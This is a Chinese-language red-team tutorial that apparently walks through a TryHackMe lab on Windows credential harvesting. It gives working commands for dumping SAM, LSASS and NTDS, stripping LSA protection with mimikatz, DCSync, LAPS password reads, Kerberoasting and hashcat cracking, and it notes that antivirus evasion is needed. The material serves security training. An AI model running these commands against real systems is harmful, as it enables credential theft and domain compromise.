凭据收集是什么?
凭据收集是获取用户和系统凭据访问权限的术语。 这是一种查找或窃取存储的凭据的技术,包括网络嗅探,攻击者可以在网络嗅探中捕获传输的凭据。
凭证可以有多种不同的形式,例如:
- 帐户详细信息(用户名和密码)
- 包括 NTLM 哈希等的哈希。
- 身份验证票证:票证授予票证(TGT)、票证授予服务器(TGS)
- 任何有助于登录系统的信息(私钥等)
获得凭据的好处:
- 它可以提供对系统的访问(横向移动)。
- 这使得我们的行为更难被发现。
- 它提供了创建和管理帐户的机会,以帮助实现红队参与的最终目标。
明文文件
攻击者可能会在受感染的计算机上搜索本地或远程文件系统中的凭据。明文文件可能包含用户创建的敏感信息,包括密码、私钥等。
以下是攻击者可能感兴趣的一些明文文件类型:
- 命令历史记录
- 配置文件(Web App、FTP文件等)
- 与 Windows 应用程序相关的其他文件(Internet 浏览器、电子邮件客户端等)
- 备份文件
- 共享文件和文件夹
- 登记处
- 源代码
powershell历史命令文件
PowerShell将执行的 PowerShell 命令保存在用户配置文件的历史文件中,路径如下:
C:\Users\YOUR_USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
从注册表查询密码信息
在Windows注册表中查找“password”关键字,可以使用以下命令:
reg query HKLM /f password /t REG_SZ /s
# or
reg query HKCU /f password /t REG_SZ /s
本地 Windows 凭据
Windows操作系统提供两种类型的用户帐户:本地和域。本地用户的详细信息存储在本地 Windows 文件系统中,而域用户的详细信息存储在集中式 Active Directory 中。
卷影复制服务
使用 Microsoft 卷影复制服务,该服务有助于在应用程序在卷上读/写时执行卷备份。获取有关服务的更多信息,可以参考官方文档:
https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
我们可以使用 wmic 创建卷影副本。这必须通过具有管理员权限的命令提示符来完成,如下所示:
wmic shadowcopy call create Volume='C:\'
然后使用卷影复制服务管理命令行工具来列出并确认我们拥有卷的卷影副本C:
vssadmin list shadows
输出显示我们已成功创建 (C:) 的卷影副本卷,路径如下:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
SAM 数据库使用RC4或AES加密算法进行加密。为了解密它,我们需要一个解密密钥,该密钥也存储在 c:\Windows\System32\Config\system,现在将两个文件(sam 和 system)从我们生成的卷影副本卷复制到桌面,使用以下命令:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
现在我们有了两个必需的文件,在后面会讲解如何提取凭据。
注册表提取
Windows 注册表还存储 Windows 服务使用的一些 SAM 数据库内容的副本。我们可以使用 reg.exe 工具保存 Windows 注册表的值。不过要确保可以使用管理员权限
reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
reg save HKLM\system C:\users\Administrator\Desktop\system-reg
凭据提取
Impacket 工具下载地址:
https://github.com/fortra/impacket
将提取的sam文件和system文件,移到本地机子中,然后使用以下命令:
python3.9 secretsdump.py -sam sam -system system LOCAL
- 参数-sam是指定 Windows 机器上转储的 sam 文件的路径。
- 参数-system是系统文件的路径。
- LOCAL命令末尾的参数来解密本地 SAM 文件,
一旦我们获得了 NTLM 哈希值,如果它们是可猜测的,我们可以尝试使用 Hashcat 来破解它们,或者我们可以使用不同的技术来使用哈希值来模拟用户。
本地安全机构子系统服务 (LSASS)
什么是LSASS?
本地安全机构服务器服务 (LSASS) 是一个 Windows 进程,用于处理操作系统安全策略并在系统上强制执行。它验证登录帐户并确保密码、哈希值和Kerberos票证。Windows 系统将凭据存储在 LSASS 进程中,使用户能够访问网络资源, 例如文件共享、SharePoint 站点和其他网络服务,而无需在每次用户连接时输入凭据。
LSASS 进程对于红队来说是一个诱人的目标,因为它存储有关用户帐户的敏感信息。LSASS 通常被滥用来转储凭据以提升权限、窃取数据或横向移动。幸运的是,如果我们有管理员权限,我们可以转储 LSASS 的进程内存。Windows 系统允许我们创建转储文件,即给定进程的快照。这可以通过桌面访问 ( GUI ) 或命令提示符来完成。
这种攻击通常定义为: OS Credential Dumping: LSASS Memory (T1003
GUI 转储
Ctrl + Shift + Esc 打开任务管理器,然后找到 lsass.exe 的进程,右键选择创建传储文件
转储完成后,会弹出一条信息,包含转储文件的路径。
将它复制到 Mimikatz的文件下,后续进行利用
procdump 转储
ProcDump 是一个从命令提示符运行的 Sysinternals 进程转储实用程序。
下载地址:
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
可以看见转储过程正在写入磁盘,转储 LSASS 进程是对手使用的一项已知技术。因此,反病毒产品可能会将其标记为恶意。需要免杀
mimikatz
它可以进行转储内存并提取凭据,不过需要管理员权限。提取登录凭据,使用以下命令:
privilege::debug
sekurlsa::logonpasswords
转储 + mimikatz凭据提取
通过转储的 lsass.dmp 文件导入到mimikatz中查看凭据
sekurlsa::minidump lsass_dump.dmp
sekurlsa::logonpasswords full
- full 表示提取所有可用的登录凭据,包括普通用户、管理员和系统级别的凭据。
受保护的 LSASS
以管理员权限运行 Mimikatz 执行文件并启用调试模式。如果启用了 LSA 保护,执行“sekurlsa::logonpasswords”命令时会出现错误。
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
禁用 LSA 保护。我们可以通过执行以下命令:
!+
!processprotect /process:lsass.exe /remove
再次运行“sekurlsa::logonpasswords”命令,就会显示凭据
Windows 凭据管理器
凭据管理器是一项 Windows 功能,用于存储网站、应用程序和网络的登录敏感信息。它包含登录凭据,例如用户名、密码和互联网地址。凭证类别有四种:
- Web 凭据包含存储在 Internet 浏览器或其他应用程序中的身份验证详细信息。
- Windows 凭据包含 Windows 身份验证详细信息,例如NTLM或 Kerberos。
- 通用凭据包含基本身份验证详细信息,例如明文用户名和密码。
- 基于证书的凭据:基于认证的详细信息。
列出可用凭证
列出 Windows 目标中当前可用的 Windows 保管库。一个用于 Web,另一个用于 Windows 计算机凭据
vaultcmd /list
检查 Web 凭据 中是否有任何存储的凭据:
VaultCmd /listproperties:"Web Credentials"
列出 Web 凭据 的凭据详细信息:
VaultCmd /listcreds:"Web Credentials"
凭据转储
vautlcmd 无法显示密码,我们可以借助powershell 脚本:
https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
使用以下命令:
powershell -ex bypass
Import-Module Get-WebCredentials.ps1
Get-WebCredentials
可以看见显示了明文密码
也可以使用 runas进行凭据传储,首先枚举凭据,显示所有存储的凭据:
cmdkey /list
使用 runas 命令 以 thm-local 用户执行 cmd.exe 程序
runas /savecred /user:THM.red\thm-local cmd.exe
mimikatz
显示凭据管理器存储的凭据
privilege::debug
sekurlsa::credman
域控制器
NTDS域控制器
是一个包含所有 Active Directory 数据的数据库,包括对象、属性、凭据等。NTDS.DTS 数据由三个表组成,如下所示:
- 模式表:它包含对象的类型及其关系。
- 链接表:它包含对象的属性及其值。
- 数据类型:包含用户和组。
NTDS 默认位于C:\Windows\NTDS,并且经过加密以防止从目标计算机提取数据。
Ntdsutil
Ntdsutil 是一个 Windows 实用程序,用于管理和维护 Active Directory 配置。它可以用于各种场景,例如
- 恢复 Active Directory 中已删除的对象。
- 对AD数据库进行维护。
- Active Directory 快照管理。
- 设置目录服务还原模式 (DSRM) 管理员密码。
官方文档:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753343(v=ws.11)
本地转储
要成功转储 NTDS 文件的内容,我们需要以下文件:
- C:\Windows\NTDS\ntds.dit
- C:\Windows\System32\config\SYSTEM
- C:\Windows\System32\config\SECURITY
使用 Ntdsutil 工具转储 NTDS 文件:
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
查看 C:\temp目录,我们会看到两个文件夹:Active Directory 和 registry ,其中包含我们需要的三个文件。将它们传输到攻击机中
使用 Secretsdump.py 脚本以从转储的内存文件中提取哈希值
python3.9 /opt/impacket/examples/secretsdump.py -security registry/SECURITY -system registry/SYSTEM -ntds Active\ Directory/ntds.dit local
远程转储
脚本下载地址:
https://github.com/fortra/impacket/blob/master/examples/secretsdump.py
提取NTDS 数据,以thm.red 域用户,攻击者利用这些配置来执行域复制, 通常称为“ DC同步”。
python3.9 /opt/impacket/examples/secretsdump.py -just-dc thm.red/thm@10.10.62.108
如果我们只想转储NTLM哈希值,使用以下命令:
python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm thm.red/thm@10.10.62.108
一旦我们获得了哈希值,可以使用 hashcat 工具进行爆破明文密码:
hashcat -m 1000 -a 0 hash rockyou.txt
LAPS
2015 年,Microsoft 取消了将加密密码存储在 SYSVOL 文件夹中的操作。它推出了本地管理员密码解决方案 (LAPS),该解决方案提供了一种更安全的方法来远程管理本地管理员密码。
枚举 LAPS
检查目标机器上是否安装了LAPS,这可以通过查看目录:
- LAPS 用于admpwd.dll更改本地管理员密码并更新ms-mcs-AdmPwd
dir "C:\Program Files\LAPS\CSE"
查看AdmPwdcmdlet 的可用命令:
powershell -ex bypass
Get-Command *AdmPwd*
寻找 AD组织单元 (OU) 具有处理 LAPS 的“所有扩展权限”属性:
Find-AdmPwdExtendedRights -Identity THMorg *
OU 其中的组及其成员就是我们的目标,查看该组的成员:
net groups "LAPsReader"
获取密码
我们发现该bk-admin用户,因此为了获取 LAPS 密码,我们需要破解或冒充 bk-admin 用户。可以启用 LAPS 的 cmdlet 来获取 LAPS 密码:
Get-AdmPwdPassword -ComputerName creds-harvestin
Kerberoasting
是一种AD攻击技术,针对的是使用 Kerberos 认证的 Windows 网络环境中的弱点。Kerberos 是一种网络认证协议,用于安全地验证用户和服务之间的身份,常用于 Windows 领域环境中的身份验证。
原理
攻击者可以获取到 Active Directory 中的服务账户的哈希值,然后离线地尝试破解这些哈希值,以获取服务账户的明文密码。这些服务账户通常由 Windows 服务使用,例如数据库、Web应用程序等。
攻击步骤:
- 攻击者在目标环境中收集有关服务账户的信息,这通常可以通过扫描活动目录或其他信息泄漏渠道获得。
- 攻击者请求服务账户的服务票据(Service Ticket)。
- 一旦获得服务票据,攻击者将其导出并在离线环境中进行暴力破解,以获取服务账户的明文密码。
- Kerberoasting 攻击的危害在于,一旦攻击者获取了服务账户的密码,他们可以通过模拟服务账户身份来访问目标系统和资源,可能导致数据泄漏、权限提升等问题。
演示
脚本地址:
https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py
使用 GetUserSPNs.py 获取指定用户的 Service Principal Names (SPN)。
可以看见有一个 SPN 帐户 svc-user。找到 SPN 用户后,现在来获取 srv-user 用户的 TGS 票证:
python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.62.108 THM.red/thm -request-user svc-thm
最后使用 HashCat工具破解获得的TGS票据:
hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt
关于其他枚举的项目
https://github.com/SnaffCon/Snaffler
https://github.com/GhostPack/Seatbelt
https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/